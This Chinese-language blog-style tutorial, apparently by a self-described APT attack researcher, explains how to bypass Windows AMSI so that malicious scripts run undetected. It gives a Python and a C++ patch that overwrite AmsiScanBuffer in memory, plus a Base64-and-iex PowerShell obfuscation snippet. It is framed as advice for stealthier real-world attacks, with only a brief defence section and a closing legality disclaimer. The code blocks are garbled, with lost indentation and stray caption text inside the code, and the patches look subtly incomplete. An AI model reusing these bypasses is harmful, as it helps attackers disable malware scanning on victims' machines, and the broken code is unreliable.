0x01 AMSI那些事儿

为了保护系统免受恶意软件的侵害,微软在Windows系统中引入了Windows防恶意软件扫描接口(AMSI),让各类安全工具能够更有效地检测潜在的威胁。这一接口通过拦截脚本执行来进行实时监控和分析,可以说是对抗恶意软件的一道重要防线。然而,作为一名攻击研究人员,我的目标是探索如何绕过这些防护措施,以提升攻击技术的隐蔽性。因此,我将带你了解AMSI的架构,以及我们如何在实际攻击中绕过它。

AMSI的日常工作

AMSI主要负责拦截和检查在Windows环境中执行的脚本。当用户运行一个脚本时,AMSI会先捕获脚本内容,然后调用本地或网络的安全解决方案来分析异常行为。它能够与多种脚本语言交互,包括PowerShell、VBScript和JavaScript等。

这意味着任何被AMSI拦截的恶意代码都会被传递给安全解决方案进行实时扫描,这让攻击者的恶意代码难以执行。然而,攻击者总能找到方法绕过这些防护。下面,我将直奔主题,分享如何绕过AMSI,以便在实际环境中进行隐蔽攻击。

0x02 绕过AMSI:让恶意代码自由驰骋

绕过AMSI需要对它的工作机制有深刻的理解,尤其是它与系统API的交互过程。攻击者绕过AMSI通常有几种策略:修改内存内容、利用API漏洞、混淆代码等。接下来,我们将构建一个实验环境,并详细演示如何实现这些方法。

实战环境搭建

为了安全地进行AMS绕过实验,我们需要在虚拟机上准备一个Windows环境,并安装常用的安全工具和脚本执行环境。以下是环境搭建的步骤:

  1. 准备虚拟机:使用VirtualBox或VMware Workstation创建一个Windows 10虚拟机。
  2. 安装PowerShell 7:下载并安装PowerShell 7,以便更好地测试AMSI与PowerShell的交互。
  3. 设置安全工具:安装Windows Defender和其他第三方安全软件以观察绕过效果。

AMSI绕过策略

内存篡改

内存篡改是最直接的绕过AMSI的方法。通过修改某些内存内容,可以让AMSI失去效力。以下是如何使用Python和C++来实现这一策略:

<pre><code class="language-python">import ctypes

def patch_amsi(): amsi_dll = ctypes.windll.kernel32.GetModuleHandleW(&quot;amsi.dll&quot;) amsi_scan_buffer = ctypes.windll.kernel32.GetProcAddress(amsi_dll, &quot;AmsiScanBuffer&quot;)

修改内存内容,将AmsiScanBuffer替换为无效值

patch = b&#039;\xB8\x57\x00\x07\x80\xC3&#039; ctypes.windll.kernel32.WriteProcessMemory(-1, amsi_scan_buffer, patch, len(patch), 0)

if __name__ == &quot;__main__&quot;: patch_amsi()</code></pre>

代码说明

  • 这段代码找到AMSI库中的AmsiScanBuffer函数,并用无效值覆盖其地址。
  • 这样可以让AMSI无法正常工作,从而绕过检测。

API利用

利用API漏洞也是一种常见的绕过方法。某些情况下,攻击者可以通过调用Windows API中的弱点,让AMSI无法检测到恶意代码的执行。

<pre><code class="language-cpp">#include &lt;windows.h&gt;

int main() { HMODULE hAMSI = LoadLibrary(&quot;amsi.dll&quot;); FARPROC pAmsiScanBuffer = GetProcAddress(hAMSI, &quot;AmsiScanBuffer&quot;);

// 修改内存内容 unsigned char patch[] = { 0xC3 }; // RET指令直接返回 SIZE_T written; WriteProcessMemory(GetCurrentProcess(), pAmsiScanBuffer, patch, sizeof(patch), &amp;written);

黑客示意图

return 0; }</code></pre>

代码说明

  • 这段C++代码通过修改AmsiScanBuffer函数的内存,使其直接返回,从而绕过AMSI检测。
  • 使用WriteProcessMemory函数进行内存修改。

混淆技术

通过代码混淆技术,可以让AMSI难以识别恶意代码。以下是使用PowerShell进行代码混淆的示例:

<pre><code class="language-powershell">$code = @&#039; function Get-Content { param([string]$path) return &quot;Hello World&quot; }

Get-Content &quot;C:\fake\path&quot; &#039;@

黑客示意图

$encoded = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($code)) iex ([System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($encoded)))</code></pre>

代码说明

  • 使用Base64编码恶意代码,使其在传输过程中难以被AMSI识别。
  • PowerShell的iex命令可以动态执行解码后的内容。

0x03 安全工具的应对之策

绕过AMSI的技术虽然强大,但安全工具也在不断进化以应对这些攻击。了解防御措施同样重要,因为这能帮助我们提升攻击和防御的能力。

检测与防御

为了抵御AMSI绕过攻击,安全工具通常采用以下策略:

黑客示意图

  1. 行为分析:通过分析脚本和程序的行为来检测异常。例如,监控内存修改和API调用频率。
  2. 混淆检测:利用机器学习算法识别混淆代码的结构和模式。
  3. 实时更新:不断更新签名和检测规则,以识别新的绕过技术。

个人经验分享

作为一名APT攻击研究人员,我发现绕过AMSI并不是万能的解决方案。虽然能够绕过一些检测,但这通常需要对目标环境有深入了解,并不断更新技术。以下是我的一些经验总结:

  • 了解目标环境:在攻击前,尽量收集目标系统的详细信息,以便制定有效的绕过策略。
  • 持续学习:安全工具在不断演进,攻击技术也需随之更新。保持对新技术的学习才能保持领先。
  • 合作与交流:与其他研究人员合作,分享经验和技术,以获得更多的绕过方法。

希望这篇文章能为你提供一些启发,帮助你在实战中提升攻击技术。记住,所有攻击技术都需在合法授权和研究目的下进行,保持道德与法律的底线。